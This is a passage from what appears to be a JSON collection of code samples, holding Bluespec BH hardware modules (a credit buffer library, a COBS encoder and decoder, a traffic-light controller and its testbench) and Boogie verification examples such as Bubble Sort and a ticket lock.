(if idx /= 0 then presentEffective !! (idx-1) else False) else pe\n                       )\n                     ((_, _, b_updates), b_presentNext) = mapAccumR f (valueOf n - 1, True, action {}) (zip3 present presentEffective buff)\n                 in (b_updates, b_presentNext)\n        presentNext :: Vector n Bool\n        presentNext = bubble.snd\n        updates :: Action\n        updates = bubble.fst\n--        updates :: Vector n Bool -> (Vector n Bool, Vector n Action)\n--        updates bs = let f idx (pag, aap, b) = case idx of\n--                                            0 -> if not aap then (False, noAction) else (pag, noAction)\n--                                            _ -> if not aap then (select presentAfterGet (idx-1), b := (select buff (idx-1))._read) else (pag, noAction)\n--                  in unzip $ zipWith f genList (zip3 presentAfterGet allAheadPresent buff)\n\n        clearLastTrue :: Vector n Bool -> Vector n Bool\n        clearLastTrue bs = let (_, result) = mapAccumR (\\found b -> if (not found && b) then (True, False) else (found, b)) False bs\n                           in result\n        lastTrueIdx :: Vector n Bool -> Bit ln\n        lastTrueIdx bs = let f (idx, h) b = if b then (idx+1, idx) else (idx+1, h)\n                             (_, result) = foldl f (0, 0) bs\n                         in result\n\n      rw :: RWire ()\n      rw <- mkRWire\n\n      rules\n          {-# ASSERT no implicit conditions #-}\n          \"update\":\n            when rw.wget == Nothing\n             ==> action updates\n                        ptr := lastTrueIdx presentNext\n          {-# ASSERT no implicit conditions #-}\n          {-# ASSERT fire when enabled #-}\n          \"deq-crd\":\n            when crd.notEmpty\n             ==> crd.deq\n      interface -- Pair\n        (interface Get\n           get = do rw.wset()\n                    crd.enq ()\n                    joinActions $ zipWith writeReg present (cons False (init $ clearLastTrue presentEffective))\n                    joinActions $ zipWith writeReg (tail buff) (init $ map readReg buff)\n                    ptr._write $ lastTrueIdx $ cons False (init $ clearLastTrue presentEffective)\n                    return $ unpack (select buff ptr)._read\n             when (fold (||) presentEffective)\n        ,\n         interface CPutS\n           pvalue v = (head buff)._write v\n           ppresent p = gotPresent := p\n           pcredit = crd.notEmpty\n        )\n  else\n    module\n      buff :: Reg (Bit sa) <- mkConfigRegU\n      present :: RegTwo Bool <- mkRegTwo False\n      gotPresent :: Reg Bool <- mkConfigReg False\n      crd :: FIFOF () <- mkUGLFIFOF\n      rules\n        {-# ASSERT no implicit conditions #-}\n        {-# ASSERT fire when enabled #-}\n        \"deq-crd\":\n          when crd.notEmpty ==> crd.deq\n        {-# ASSERT no implicit conditions #-}\n        {-# ASSERT fire when enabled #-}\n        \"save\":\n          when gotPresent ==> present.setB True\n      interface -- Pair\n        (interface Get\n           get = do crd.enq ()\n                    present.setA False\n                    return $ unpack buff\n             when (gotPresent || present.get)\n        ,\n         interface CPutS\n           pvalue v = buff := v\n           ppresent p = gotPresent := p\n           pcredit = crd.notEmpty\n        )\n\n--@ Create a buffer that can be inserted along a connection path.\n--@ \\index{mkCGetCPut@\\te{mkCGetCPut} (function)|textbf}\n--@ \\begin{libverbatim}\n--@ module mkCGetCPut(Tuple2 #(CGetS#(n, a, sa), CPutS#(n, a, sa)))\n--@   provisos (Bits#(a, sa));\n--@ \\end{libverbatim}\nmkCGetCPut :: (IsModule m c, Bits a sa) => m (CGetS n a sa, CPutS n a sa)\nmkCGetCPut =\n  module\n    val :: Reg (Bit sa) <- mkConfigRegU\n    prs :: Reg Bool <- mkConfigReg False\n    crd :: Reg Bool <- mkConfigReg False\n    interface --  Pair\n       (interface CGetS\n            gvalue = val\n            gpresent = prs\n            gcredit b = crd := b\n        ,\n        interface CPutS\n            pvalue v = val := v\n            ppresent p = prs := p\n            pcredit = crd\n        )\n\n--@ The \\te{CGet} and \\te{CPut} interface are connectable.\n--@ \\begin{libverbatim}\n--@ instance Connectable #(CGetS#(n, a, sa), CPutS#(n, a, sa));\n--@ \\end{libverbatim}\ninstance Connectable (CGetS n a sa) (CPutS n a sa)\n   where\n    mkConnection :: (IsModule m c) => CGetS n a sa -> CPutS n a sa -> m Empty\n    mkConnection g p =\n      module\n        rules\n          {-# ASSERT no implicit conditions #-}\n          {-# ASSERT fire when enabled #-}\n          \"moveCGetPut\":\n            when True\n             ==> action\n                    p.pvalue g.gvalue\n                    p.ppresent g.gpresent\n                    g.gcredit p.pcredit\n\n--@ \\lineup\n--@ \\begin{libverbatim}\n--@ instance Connectable #(CPutS#(n, a, sa), CGetS#(n, a, sa));\n--@ \\end{libverbatim}\ninstance Connectable (CPutS n a sa) (CGetS n a sa)\n   where\n    mkConnection p g = mkConnection g p\n\n--@ The same idea may be extended  to clients and servers.\n\ninterface CClientS n a sa b sb =\n   request :: CGetS n a sa\n   response:: CPutS n b sb\n\ninterface CServerS n a sa b sb =\n   request  :: CPutS n a sa\n   response :: CGetS n b sb\n\n--@ \\begin{libverbatim}\n--@ typedef CClientS#(n, a, SizeOf#(a), b, SizeOf#(b))\n--@                                           CClient #(type n, type a, type b);\n--@ typedef CServerS#(n, a, SizeOf#(a), b, SizeOf#(b))\n--@                                           CServer #(type n, type a, type b);\n--@ \\end{libverbatim}\ntype CClient n a b = CClientS n a (SizeOf a) b (SizeOf b)\ntype CServer n a b = CServerS n a (SizeOf a) b (SizeOf b)\n\ntype CClientServer n a b = (CClient n a b, Server a b)\ntype ClientCServer n a b = (Client a b, CServer n a b)\n\ninstance Connectable (CClientS n a sa b sb)\n                     (CServerS n a sa b sb)\n   where\n    mkConnection :: (IsModule m c) =>\n               (CClientS n a sa b sb) ->\n               (CServerS n a sa b sb) -> m Empty\n    mkConnection cc cs =\n      module\n          cc.request <-> cs.request\n          cc.response <-> cs.response\n\ninstance Connectable (CServerS n a sa b sb)\n                     (CClientS n a sa b sb)\n   where\n    mkConnection cs cc = mkConnection cc cs\n\n--@ \\index{mkClientCServer@\\te{mkClientCServer} (function)|textbf}\n--@ \\begin{libverbatim}\n--@ module mkClientCServer(Tuple2 #(Client#(a, b), CServerS#(n, a, sa, b, sb)))\n--@   provisos (Bits#(a, sa), Bits#(b, sb), Add#(1, k, n));\n--@ \\end{libverbatim}\nmkClientCServer :: (IsModule m c, Bits a sa, Bits b sb, Add 1 k n) =>\n                               m (Client a b, CServerS n a sa b sb)\nmkClientCServer =\n  module\n    (g, cp) <- mkGetCPut\n    (cg, p) <- mkCGetPut\n    interface\n     (interface Client\n        request = g\n        response = p\n      ,\n      interface CServerS\n        request = cp\n        response = cg\n     )\n\n--@ \\index{mkCClientServer@\\te{mkCClientServer} (function)|textbf}\n--@ \\begin{libverbatim}\n--@ module mkCClientServer(Tuple2 #(CClientS#(n, a, sa, b, sb), Server#(a, b)))\n--@   provisos (Bits#(a, sa), Bits#(b, sb), Add#(1, k, n));\n--@ \\end{libverbatim}\nmkCClientServer :: (IsModule m c, Bits a sa, Bits b sb, Add 1 k n) =>\n                               m (CClientS n a sa b sb, Server a b)\nmkCClientServer =\n  module\n    (g, cp) <- mkGetCPut\n    (cg, p) <- mkCGetPut\n    interface\n     (interface CClientS\n        request = cg\n        response = cp\n      ,\n      interface Server\n        request = p\n        response = g\n     )\n"
  },
  {
    "path": "samples/Bluespec BH/COBS.bs",
    "content": "-- This file is copied from https://github.com/B-Lang-org/bsc-contrib\n-- SPDX-License-Identifier: BSD-3-Clause\n\npackage COBS where\n\nimport FIFO\nimport GetPut\nimport Vector\n\n-- Implementation of Consistent Overhead Byte Stuffing (COBS) encoding of messages into a byte stream.\n-- See https://en.wikipedia.org/wiki/Consistent_Overhead_Byte_Stuffing\n\ninterface (COBSEncoder :: # -> *) n =\n  msg :: Put (UInt (TLog (TAdd 1 n)), Vector n (Bit 8))\n  byte :: Get (Bit 8)\n\nmkCOBSEncoder :: (Log (TAdd 1 n) sizeWidth) => Module (COBSEncoder n)\nmkCOBSEncoder = module\n  msgs :: FIFO (UInt sizeWidth, Vector n (Bit 8)) <- mkFIFO\n  bytes :: FIFO (Bit 8) <- mkFIFO\n\n  let size :: UInt (TMax sizeWidth 8) = zeroExtend msgs.first.fst\n  let msg :: Vector n (Bit 8) = msgs.first.snd\n\n  -- Index of the next byte to encode\n  i :: Reg (UInt (TMax sizeWidth 8)) <- mkReg 0\n  -- Distance from i to the next zero / overhead / end of message byte\n  j :: Reg (UInt 8) <- mkReg 0\n  -- Index of the next overhead byte to be inserted\n  nextOverhead :: Reg (Maybe (UInt (TMax sizeWidth 8))) <- mkReg $ Just 0\n\n  let byteI = select msg i\n  let foundNextZero =\n        j == (if nextOverhead == Just i then 0xfe else 0xff) ||\n        i + zeroExtend j >= size || select msg (i + zeroExtend j) == 0\n\n  rules\n    \"next_msg\": when i >= size ==> do\n      -- $display \"next_msg\"\n      msgs.deq\n      bytes.enq 0\n      i := 0\n      j := 0\n      nextOverhead := Just 0\n\n    \"find_next_zero\": when i < size && not foundNextZero ==> j := j + 1\n\n    \"encode_overhead\": when nextOverhead == Just i && i < size && foundNextZero ==> do\n      -- $display \"encode_overhead %x\" (j + 1)\n      bytes.enq $ pack (j + 1)\n      nextOverhead := if j == 0xfe then Just (i + 0xfe) else Nothing\n      j := 1\n\n    \"encode_zero\": when nextOverhead /= Just i && i < size && byteI == 0 && foundNextZero ==> do\n      -- $display \"encode_zero %x\" j\n      bytes.enq $ pack j\n      nextOverhead := if j == 0xfe then Just (i + 0xfe) else Nothing\n      i := i + 1\n      j := 1\n\n    \"encode_nonzero\": when nextOverhead /= Just i && i < size && byteI /= 0 && foundNextZero ==> do\n      -- $display \"encode_nonzero %x\" byteI\n      bytes.enq byteI\n      i := i + 1\n      j := if j > 1 || nextOverhead == Just (i + 1) then j - 1 else 1  -- Ensure that j > 0 if the next byte is not an overhead byte\n\n  interface\n    msg = toPut msgs\n    byte = toGet bytes\n\n\ninterface (COBSDecoder :: # -> *) n =\n  msg :: Get (UInt (TLog (TAdd 1 n)), Vector n (Bit 8))\n  byte :: Put (Bit 8)\n\nmkCOBSDecoder :: (Log (TAdd 1 n) sizeWidth) => Module (COBSDecoder n)\nmkCOBSDecoder = module\n  msgs :: FIFO (UInt sizeWidth, Vector n (Bit 8)) <- mkFIFO\n  bytes :: FIFO (Bit 8) <- mkFIFO\n\n  -- Index of the next result byte to be decoded\n  i :: Reg (UInt sizeWidth) <- mkReg 0\n  -- Distance to the next zero / overhead / end of message byte\n  j :: Reg (UInt 8) <- mkReg 0\n  -- Is the next zero / overhead / end of message byte an overhead byte?\n  isOverhead :: Reg Bool <- mkReg True\n  -- Vector of registers containing partially-decoded message\n  msg :: Vector n (Reg (Bit 8)) <- replicateM $ mkReg 0\n\n  rules\n    \"next_msg\": when bytes.first == 0 ==> do\n      -- $display \"next_msg\"\n      bytes.deq\n      msgs.enq (i, map readReg msg)\n      i := 0\n      j := 0\n      isOverhead := True\n      writeVReg msg $ replicate 0\n\n    \"decode_overhead\": when bytes.first /= 0 && j == 0 && isOverhead ==> do\n      -- $display \"decode_overhead %x\" bytes.first\n      j := unpack bytes.first - 1\n      isOverhead := bytes.first == 0xff\n      bytes.deq\n\n    \"decode_zero\": when bytes.first /= 0 && j == 0 && not isOverhead ==> do\n      -- $display \"decode_zero %x\" bytes.first\n      select msg i := 0\n      i := i + 1\n      j := if bytes.first == 0xff then 0xff else unpack bytes.first - 1\n      isOverhead := bytes.first == 0xff\n      bytes.deq\n\n    \"decode_nonzero\": when bytes.first /= 0 && j > 0 ==> do\n      -- $display \"decode_nonzero %x\" bytes.first\n      select msg i := bytes.first\n      i := i + 1\n      j := j - 1\n      bytes.deq\n\n  interface\n    msg = toGet msgs\n    byte = toPut bytes\n"
  },
  {
    "path": "samples/Bluespec BH/TL.bs",
    "content": "package TL (TL(..), sysTL) where\n\nimport Vector\n\ninterface TL =\n    ped_button_push :: Prelude.Action\n\n    set_car_state_N :: Bool -> Prelude.Action {-# always_enabled  #-}\n    set_car_state_S :: Bool -> Prelude.Action {-# always_enabled  #-}\n    set_car_state_E :: Bool -> Prelude.Action {-# always_enabled  #-}\n    set_car_state_W :: Bool -> Prelude.Action {-# always_enabled  #-}\n\n    lampRedNS   :: Bool \n    lampAmberNS :: Bool\n    lampGreenNS :: Bool\n\n    lampRedE   :: Bool\n    lampAmberE :: Bool\n    lampGreenE :: Bool\n\n    lampRedW   :: Bool\n    lampAmberW :: Bool\n    lampGreenW :: Bool\n\n    lampRedPed   :: Bool\n    lampAmberPed :: Bool\n    lampGreenPed :: Bool\n \ndata TLstates = AllRed\n              | GreenNS  | AmberNS\n              | GreenE   | AmberE\n              | GreenW   | AmberW\n              | GreenPed | AmberPed\n  deriving (Eq, Bits)\n\ntype Time32 = UInt 5\ntype CtrSize = UInt 20\n\n{-# properties sysTL = { verilog } #-}\nsysTL :: Module TL\nsysTL = \n    module\n      let allRedDelay :: Time32 = 2\n          amberDelay  :: Time32 = 4\n          nsGreenDelay :: Time32 = 20\n          ewGreenDelay :: Time32 = 10\n          pedGreenDelay :: Time32 = 10\n          pedAmberDelay :: Time32 = 6\n\n          clocks_per_sec :: CtrSize = 100\n\n      state :: Reg TLstates <- mkReg AllRed\n      next_green :: Reg TLstates <- mkReg GreenNS\n      secs :: Reg Time32 <- mkReg 0\n      ped_button_pushed :: Reg Bool <- mkReg False\n      car_present_N :: Reg Bool <- mkReg True\n      car_present_S :: Reg Bool <- mkReg True\n      car_present_E :: Reg Bool <- mkReg True\n      car_present_W :: Reg Bool <- mkReg True\n      let car_present_NS :: Bool\n          car_present_NS = car_present_N || car_present_S\n      cycle_ctr :: Reg CtrSize <- mkReg 0\n\n      rules\n           \"dec_cycle_ctr\":  when cycle_ctr /= 0\n                              ==>\n                                cycle_ctr := cycle_ctr - 1\n\n      let low_priority_rule :: Rules\n          low_priority_rule = \n                   rules\n                     \"inc_sec\":  when cycle_ctr == 0\n                                  ==>\n                                    action\n                                      secs := secs + 1\n                                      cycle_ctr := clocks_per_sec\n\n          next_state :: TLstates -> Prelude.Action\n          next_state ns = action { state := ns; secs := 0; }\n\n          green_seq :: TLstates -> TLstates\n          green_seq GreenNS = GreenE\n          green_seq GreenE  = GreenW\n          green_seq GreenW  = GreenNS\n\n          car_present :: TLstates -> Bool\n          car_present GreenNS = car_present_NS\n          car_present GreenE  = car_present_E\n          car_present GreenW  = car_present_W\n\n          make_from_green_rule :: TLstates -> Time32 -> Bool -> TLstates -> Rules\n          make_from_green_rule green_state delay car_is_present ns =\n                rules\n                  \"from_green\":  when (state == green_state) &&\n                                       ((secs >= delay) || (not car_is_present))\n                                  ==>\n                                    next_state ns\n\n          make_from_amber_rule :: TLstates -> TLstates -> Rules\n          make_from_amber_rule amber_state ng = \n                rules\n                  \"from_amber\":  when (state == amber_state) &&\n                                      (secs >= amberDelay)\n                                  ==>\n                                    action\n                                      next_state AllRed\n                                      next_green := ng\n\n          hpr0 :: Rules\n          hpr0 = rules\n                        \"fromAllRed\":  when (state == AllRed) &&\n                                            (secs >= allRedDelay)\n                                        ==>\n                                          if ped_button_pushed then\n                                            action\n                                              ped_button_pushed := False\n                                              next_state GreenPed\n                                          else if car_present next_green then\n                                            next_state next_green\n                                          else if car_present (green_seq next_green) then\n                                            next_state (green_seq next_green)\n                                          else if car_present (green_seq (green_seq next_green)) then\n                                            next_state (green_seq (green_seq next_green))\n                                          else\n                                            noAction\n\n          hpr1 :: Rules = make_from_green_rule GreenNS nsGreenDelay car_present_NS AmberNS\n\t  hpr2 :: Rules = make_from_amber_rule AmberNS GreenE\n\t  hpr3 :: Rules = make_from_green_rule GreenE ewGreenDelay car_present_E AmberE\n\t  hpr4 :: Rules = make_from_amber_rule AmberE GreenW\n\t  hpr5 :: Rules = make_from_green_rule GreenW ewGreenDelay car_present_W AmberW\n\t  hpr6 :: Rules = make_from_amber_rule AmberW GreenNS\n\n          hprs :: Vector 7 Rules\n          hprs = Vector.cons hpr0\n                  (Vector.cons hpr1\n                    (Vector.cons hpr2\n                      (Vector.cons hpr3\n                        (Vector.cons hpr4\n                          (Vector.cons hpr5\n                            (Vector.cons hpr6\n                              Vector.nil))))))\n\n          high_priority_rules :: Rules\n          high_priority_rules = Vector.foldl1 rJoin hprs\n\n      addRules (preempts high_priority_rules low_priority_rule)\n\n      interface\n           ped_button_push =    ped_button_pushed := True\n\n           set_car_state_N b =  car_present_N := b\n           set_car_state_S b =  car_present_S := b\n           set_car_state_E b =  car_present_E := b\n           set_car_state_W b =  car_present_W := b\n\n           lampRedNS = not (state == GreenNS || state == AmberNS)\n           lampAmberNS =  state == AmberNS\n           lampGreenNS =  state == GreenNS\n           lampRedE =  not (state == GreenE || state == AmberE)\n           lampAmberE =  state == AmberE\n           lampGreenE =  state == GreenE\n           lampRedW = not (state == GreenW || state == AmberW)\n           lampAmberW =  state == AmberW\n           lampGreenW =  state == GreenW\n           lampRedPed = not (state == GreenPed || state == AmberPed)\n           lampAmberPed =  state == AmberPed\n           lampGreenPed =  state == GreenPed\n"
  },
  {
    "path": "samples/Bluespec BH/TbTL.bs",
    "content": "package TbTL where\n\nimport Vector\n\nimport TL\n\n\ninterface Lamp =\n    changed :: Bool\n    show_offs :: Action\n    show_ons :: Action\n    reset :: Action\n \nmkLamp :: String -> Bool -> Module Lamp\nmkLamp name lamp =\n    module\n      prev :: Reg Bool <- mkReg False\n      interface\n           changed =  prev /= lamp\n\n           show_offs =\n               if prev && not lamp then\n                  $write (name + \" off, \")\n               else\n                  noAction\n\n           show_ons =\n               if not prev && lamp then\n                  $write (name + \" on, \")\n               else\n                  noAction\n\n           reset =  prev := lamp\n\n\n{-# properties mkTest = { verilog } #-}\nmkTest :: Module Empty\nmkTest = \n    module\n      dut <- sysTL\n\n      ctr :: Reg (Bit 16) <- mkReg 0\n\n      carN :: Reg Bool <- mkReg False\n      carS :: Reg Bool <- mkReg False\n      carE :: Reg Bool <- mkReg False\n      carW :: Reg Bool <- mkReg False\n\n      lamp0 :: Lamp <- mkLamp \"0:  NS  red  \" dut.lampRedNS\n      lamp1 :: Lamp <- mkLamp \"1:  NS  amber\" dut.lampAmberNS\n      lamp2 :: Lamp <- mkLamp \"2:  NS  green\" dut.lampGreenNS\n      lamp3 :: Lamp <- mkLamp \"3:  E   red  \" dut.lampRedE\n      lamp4 :: Lamp <- mkLamp \"4:  E   amber\" dut.lampAmberE\n      lamp5 :: Lamp <- mkLamp \"5:  E   green\" dut.lampGreenE\n      lamp6 :: Lamp <- mkLamp \"6:  W   red  \" dut.lampRedW\n      lamp7 :: Lamp <- mkLamp \"7:  W   amber\" dut.lampAmberW\n      lamp8 :: Lamp <- mkLamp \"8:  W   green\" dut.lampGreenW\n\n      lamp9 :: Lamp <- mkLamp \"9:  Ped red  \" dut.lampRedPed\n      lamp10 :: Lamp <- mkLamp \"10: Ped amber\" dut.lampAmberPed\n      lamp11 :: Lamp <- mkLamp \"11: Ped green\" dut.lampGreenPed\n\n      let lamps :: Vector 12 Lamp\n          lamps = Vector.cons lamp0\n                   (Vector.cons lamp1\n                     (Vector.cons lamp2\n                       (Vector.cons lamp3\n                         (Vector.cons lamp4\n                           (Vector.cons lamp5\n                             (Vector.cons lamp6\n                               (Vector.cons lamp7\n                                 (Vector.cons lamp8\n                                   (Vector.cons lamp9\n                                     (Vector.cons lamp10\n                                       (Vector.cons lamp11 nil)))))))))))\n\n      rules\n           \"start\":  when ctr == 0   ==> $dumpvars\n           \n           \"detect_cars\":  when True\n                            ==>\n                              action\n                                dut.set_car_state_N carN\n                                dut.set_car_state_S carS\n                                dut.set_car_state_E carE\n                                dut.set_car_state_W carW\n           \n           \"go\":  when True\n                   ==>\n                     action\n                       ctr := (ctr + 1)\n                       if ctr == 5000 then\n                          carN := True\n                        else if ctr == 6500 then\n                          carN := False\n                        else if ctr == 12000 then\n                          dut.ped_button_push\n                        else\n                          noAction\n           \n           \"stop\":  when ctr > 32768   ==> action\n                                             $display \"TESTS FINISHED\"\n                                             $finish 0\n\n      let do_offs  l =  l.show_offs\n          do_ons   l =  l.show_ons\n          do_reset l =  l.reset\n          changed  l =  l.changed\n\n          do_it f = Vector.mapM_ f lamps\n\n          any_changes = Vector.any changed lamps\n\n      rules\n           \"show\":  when any_changes\n                     ==>\n                       action\n                         do_it do_offs\n                         do_it do_ons\n                         do_it do_reset\n                         $display \"(at time %d)\" ($time)\n\n"
  },
  {
    "path": "samples/Boogie/Bubble.bpl",
    "content": "// RUN: %boogie \"%s\" > \"%t\"\n// RUN: %diff \"%s.expect\" \"%t\"\n// Bubble Sort, where the specification says the output is a permutation of\n// the input.\n\n// Introduce a constant 'N' and postulate that it is non-negative\nconst N: int;\naxiom 0 <= N;\n\n// Declare a map from integers to integers.  In the procedure below, 'a' will be\n// treated as an array of 'N' elements, indexed from 0 to less than 'N'.\nvar a: [int]int;\n\n// This procedure implements Bubble Sort.  One of the postconditions says that,\n// in the final state of the procedure, the array is sorted.  The other\n// postconditions say that the final array is a permutation of the initial\n// array.  To write that part of the specification, the procedure returns that\n// permutation mapping.  That is, out-parameter 'perm' injectively maps the\n// numbers [0..N) to [0..N), as stated by the second and third postconditions.\n// The final postcondition says that 'perm' describes how the elements in\n// 'a' moved:  what is now at index 'i' used to be at index 'perm[i]'.\n// Note, the specification says nothing about the elements of 'a' outside the\n// range [0..N).  Moreover, Boogie does not prove that the program will terminate.\n\nprocedure BubbleSort() returns (perm: [int]int)\n  modifies a;\n  // array is sorted\n  ensures (forall i, j: int :: 0 <= i && i <= j && j < N ==> a[i] <= a[j]);\n  // perm is a permutation\n  ensures (forall i: int :: 0 <= i && i < N ==> 0 <= perm[i] && perm[i] < N);\n  ensures (forall i, j: int :: 0 <= i && i < j && j < N ==> perm[i] != perm[j]);\n  // the final array is that permutation of the input array\n  ensures (forall i: int :: 0 <= i && i < N ==> a[i] == old(a)[perm[i]]);\n{\n  var n, p, tmp: int;\n\n  n := 0;\n  while (n < N)\n    invariant n <= N;\n    invariant (forall i: int :: 0 <= i && i < n ==> perm[i] == i);\n  {\n    perm[n] := n;\n    n := n + 1;\n  }\n\n  while (true)\n    invariant 0 <= n && n <= N;\n    // array is sorted from n onwards\n    invariant (forall i, k: int :: n <= i && i < N && 0 <= k && k < i ==> a[k] <= a[i]);\n    // perm is a permutation\n    invariant (forall i: int :: 0 <= i && i < N ==> 0 <= perm[i] && perm[i] < N);\n    invariant (forall i, j: int :: 0 <= i && i < j && j < N ==> perm[i] != perm[j]);\n    // the current array is that permutation of the input array\n    invariant (forall i: int :: 0 <= i && i < N ==> a[i] == old(a)[perm[i]]);\n  {\n    n := n - 1;\n    if (n < 0) {\n      break;\n    }\n\n    p := 0;\n    while (p < n)\n      invariant 0 <= p && p <= n;\n      // array is sorted from n+1 onwards\n      invariant (forall i, k: int :: n+1 <= i && i < N && 0 <= k && k < i ==> a[k] <= a[i]);\n      // perm is a permutation\n      invariant (forall i: int :: 0 <= i && i < N ==> 0 <= perm[i] && perm[i] < N);\n      invariant (forall i, j: int :: 0 <= i && i < j && j < N ==> perm[i] != perm[j]);\n      // the current array is that permutation of the input array\n      invariant (forall i: int :: 0 <= i && i < N ==> a[i] == old(a)[perm[i]]);\n      // a[p] is at least as large as any of the first p elements\n      invariant (forall k: int :: 0 <= k && k < p ==> a[k] <= a[p]);\n    {\n      if (a[p+1] < a[p]) {\n        tmp := a[p];  a[p] := a[p+1];  a[p+1] := tmp;\n        tmp := perm[p];  perm[p] := perm[p+1];  perm[p+1] := tmp;\n      }\n\n      p := p + 1;\n    }\n  }\n}\n"
  },
  {
    "path": "samples/Boogie/TuringFactorial.bpl",
    "content": "// RUN: %boogie \"%s\" > \"%t\"\n// RUN: %diff \"%s.expect\" \"%t\"\n// A Boogie version of Turing's additive factorial program, from \"Checking a large routine\"\n// published in the \"Report of a Conference of High Speed Automatic Calculating Machines\",\n// pp. 67-69, 1949.\n\nprocedure ComputeFactorial(n: int) returns (u: int)\n  requires 1 <= n;\n  ensures u == Factorial(n);\n{\n  var r, v, s: int;\n  r, u := 1, 1;\nTOP:  // B\n  assert 1 <= r && r <= n;\n  assert 1 <= u;\n  assert u == Factorial(r);\n  v := u;\n  if (n <= r) { return; }\n  s := 1;\nINNER:  // E\n  assert s <= r;\n  assert v == Factorial(r) && u == s * Factorial(r);\n  u := u + v;\n  s := s + 1;\n  assert s - 1 <= r;\n  if (s <= r) { goto INNER; }\n  r := r + 1;\n  goto TOP;\n}\n\nfunction Factorial(int): int;\naxiom Factorial(0) == 1;\naxiom (forall n: int :: {Factorial(n)}  1 <= n ==> Factorial(n) == n * Factorial_Aux(n-1));\n\nfunction Factorial_Aux(int): int;\naxiom (forall n: int :: {Factorial(n)} Factorial(n) == Factorial_Aux(n));\n"
  },
  {
    "path": "samples/Boogie/ticket.bpl",
    "content": "// RUN: %boogie \"%s\" > \"%t\"\n// RUN: %diff \"%s.expect\" \"%t\"\n\nfunction RightOpen (n: int) : [int]bool;\nfunction RightClosed (n: int) : [int]bool;\naxiom (forall x: int, y: int :: RightOpen(x)[y] <==> y < x);\naxiom (forall x: int, y: int :: RightClosed(x)[y] <==> y <= x);\n\ntype {:linear \"tid\"} X;\nconst nil: X;\nvar {:layer 0,1} t: int;       // next ticket to issue\nvar {:layer 0,2} s: int;       // current ticket permitted to critical section\nvar {:layer 0,2} cs: X;        // current thread in critical section\nvar {:layer 0,2} T: [int]bool; // set of issued tickets\n\n// ###########################################################################\n// Invariants\n\nfunction {:inline} Inv1 (tickets: [int]bool, ticket: int): (bool)\n{\n  tickets == RightOpen(ticket)\n}\n\nfunction {:inline} Inv2 (tickets: [int]bool, ticket: int, lock: X): (bool)\n{\n  if (lock == nil) then tickets == RightOpen(ticket)\n                   else tickets == RightClosed(ticket)\n}\n\n// ###########################################################################\n// Yield invariants\n\nprocedure {:yield_invariant} {:layer 2} YieldSpec ({:linear \"tid\"} tid: X);\nrequires tid != nil && cs == tid;\n\nprocedure {:yield_invariant} {:layer 1} Yield1 ();\nrequires Inv1(T, t);\n\nprocedure {:yield_invariant} {:layer 2} Yield2 ();\nrequires Inv2(T, s, cs);\n\n// ###########################################################################\n// Main program\n\nprocedure {:yields} {:layer 2} main ({:linear_in \"tid\"} xls':[X]bool)\nrequires {:layer 2} xls' == MapConst(true);\n{\n  var {:linear \"tid\"} tid: X;\n  var {:linear \"tid\"} xls: [X]bool;\n\n  call InitAbstract(xls');\n  xls := xls';\n\n  while (*)\n  invariant {:yields} {:layer 1,2} {:yield_loop \"Yield1\"} {:yield_loop \"Yield2\"} true;\n  {\n    par xls, tid := Allocate(xls) | Yield1() | Yield2();\n    async call Customer(tid);\n  }\n}\n\nprocedure {:yields} {:layer 2} Allocate ({:linear_in \"tid\"} xls':[X]bool) returns ({:linear \"tid\"} xls: [X]bool, {:linear \"tid\"} xl: X)\nensures {:layer 1,2} xl != nil;\n{\n  call xls, xl := AllocateLow(xls');\n}\n\nprocedure {:yields} {:layer 2}\n{:yield_requires \"Yield1\"}\n{:yield_requires \"Yield2\"}\nCustomer ({:linear_in \"tid\"} tid: X)\nrequires {:layer 2} tid != nil;\n{\n  while (*)\n  invariant {:yields} {:layer 1,2} {:yield_loop \"Yield1\"} {:yield_loop \"Yield2\"} true;\n  {\n    call Enter(tid);\n    par Yield1() | Yield2() | YieldSpec(tid);\n    call Leave(tid);\n  }\n}\n\nprocedure {:yields} {:layer 2}\n{:yield_preserves \"Yield1\"}\n{:yield_preserves \"Yield2\"}\n{:yield_ensures   \"YieldSpec\", tid}\nEnter ({:linear \"tid\"} tid: X)\nrequires {:layer 2} tid != nil;\n{\n  var m: int;\n\n  call m := GetTicketAbstract(tid);\n  call WaitAndEnter(tid, m);\n}\n\n// ###########################################################################\n// Abstractions of primitive atomic actions\n\n// Note how GetTicketAbstract becomes a right mover\n\nprocedure {:atomic} {:layer 2} AtomicInitAbstract ({:linear \"tid\"} xls:[X]bool)\nmodifies cs, s, T;\n{ assert xls == MapConst(true); cs := nil; s := 0; T := RightOpen(0); }\n\nprocedure {:yields} {:layer 1} {:refines \"AtomicInitAbstract\"} InitAbstract ({:linear \"tid\"} xls:[X]bool)\nensures  {:layer 1} Inv1(T, t);\n{\n  call Init(xls);\n}\n\nprocedure {:right} {:layer 2} AtomicGetTicketAbstract ({:linear \"tid\"} tid: X) returns (m: int)\nmodifies T;\n{ assume !T[m]; T[m] := true; }\n\nprocedure {:yields} {:layer 1} {:refines \"AtomicGetTicketAbstract\"} GetTicketAbstract ({:linear \"tid\"} tid: X) returns (m: int)\nrequires {:layer 1} Inv1(T, t);\nensures  {:layer 1} Inv1(T, t);\n{\n  par Yield1();\n  call m := GetTicket(tid);\n  par Yield1();\n}\n\n// ###########################################################################\n// Primitive atomic actions\n\nprocedure {:atomic} {:layer 1} AtomicInit ({:linear \"tid\"} xls:[X]bool)\nmodifies cs, t, s, T;\n{ assert xls == MapConst(true); cs := nil; t := 0; s := 0; T := RightOpen(0); }\n\nprocedure {:yields} {:layer 0} {:refines \"AtomicInit\"} Init ({:linear \"tid\"} xls:[X]bool);\n\nprocedure {:atomic} {:layer 1} AtomicGetTicket ({:linear \"tid\"} tid: X) returns (m: int)\nmodifies t, T;\n{ m := t; t := t + 1; T[m] := true; }\n\nprocedure {:yields} {:layer 0} {:refines \"AtomicGetTicket\"} GetTicket ({:linear \"tid\"} tid: X) returns (m: int);\n\nprocedure {:atomic} {:layer 1,2} AtomicWaitAndEnter ({:linear \"tid\"} tid: X, m:int)\nmodifies cs;\n{ assume m == s; cs := tid; }\n\nprocedure {:yields} {:layer 0} {:refines \"AtomicWaitAndEnter\"} WaitAndEnter ({:linear \"tid\"} tid: X, m:int);\n\nprocedure {:atomic} {:layer 1,2} AtomicLeave ({:linear \"tid\"} tid: X)\nmodifies cs, s;\n{ assert cs == tid; s := s + 1; cs := nil; }\n\nprocedure {:yields} {:layer 0} {:refines \"AtomicLeave\"} Leave ({:linear \"tid\"} tid: X);\n\nprocedure {:atomic} {:layer 1,2} AtomicAllocateLow ({:linear_in \"tid\"} xls':[X]bool) returns ({:linear \"tid\"} xls: 